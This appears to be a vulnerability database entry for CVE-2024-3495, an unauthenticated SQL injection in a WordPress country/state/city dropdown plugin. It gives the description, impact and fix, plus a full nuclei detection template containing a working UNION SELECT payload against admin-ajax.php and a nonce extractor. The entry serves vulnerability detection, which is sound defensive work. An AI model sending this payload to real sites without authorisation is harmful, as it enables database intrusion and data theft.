HexBrain

Browse / CVEs / CVE-2024-3495

CVE-2024-3495· CWE-89

Wordpress Country State City Dropdown <=2.7.2 - SQL Injection

criticalseverity
9.8CVSS score
13.6%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

The Country State City Dropdown CF7 plugin for WordPress is vulnerable to SQL Injection via the ‘cnt’ and 'sid' parameters in versions up to, and including, 2.7.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Impact

Unauthenticated attackers can execute arbitrary SQL queries via the cnt and sid parameters, potentially extracting sensitive information from the database.

Fix

Update Country State City Dropdown CF7 plugin to a version that patches CVE-2024-3495.

How to confirm it

Send: GET / ; POST /wp-admin/admin-ajax.php
Positive when: contains in body_2 "{{md5(num)}}"

Run it with nuclei: nuclei -id CVE-2024-3495 -u <target>

The full check
id: CVE-2024-3495

info:
  name: Wordpress Country State City Dropdown <=2.7.2 - SQL Injection
  author: apple
  severity: critical
  description: |
    The Country State City Dropdown CF7 plugin for WordPress is vulnerable to SQL Injection via the ‘cnt’ and 'sid' parameters in versions up to, and including, 2.7.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL queries via the cnt and sid parameters, potentially extracting sensitive information from the database.
  remediation: |
    Update Country State City Dropdown CF7 plugin to a version that patches CVE-2024-3495.
  reference:
    - https://sploitus.com/exploit?id=EDF4B3F8-DDF4-5196-A375-EC81B8BC18F1&utm_source=rss&utm_medium=rss
    - https://github.com/truonghuuphuc/CVE-2024-3495-Poc
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3495
    - https://plugins.trac.wordpress.org/browser/country-state-city-auto-dropdown/trunk/includes/ajax-actions.php#L22
    - https://plugins.trac.wordpress.org/browser/country-state-city-auto-dropdown/trunk/includes/ajax-actions.php#L8
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-3495
    cwe-id: CWE-89
    epss-score: 0.13618
    epss-percentile: 0.96503
  metadata:
    verified: true
    max-request: 2
    publicwww-query: "/wp-content/plugins/country-state-city-auto-dropdown"
  tags: cve,cve2024,wp,wp-plugin,wordpress,sqli,vuln,vkev

variables:
  num: "999999999"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=tc_csca_get_cities&nonce_ajax={{nonce}}&sid=1+or+0+union+select+concat(0x64617461626173653a,(select%20md5({{num}})),0x7c76657273696f6e3a,(select%20md5({{num}})),0x7c757365723a,user()),2,3--+-

    matchers:
      - type: word
        part: body_2
        words:
          - '{{md5(num)}}'

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - '"nonce":"(\S*)"'
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from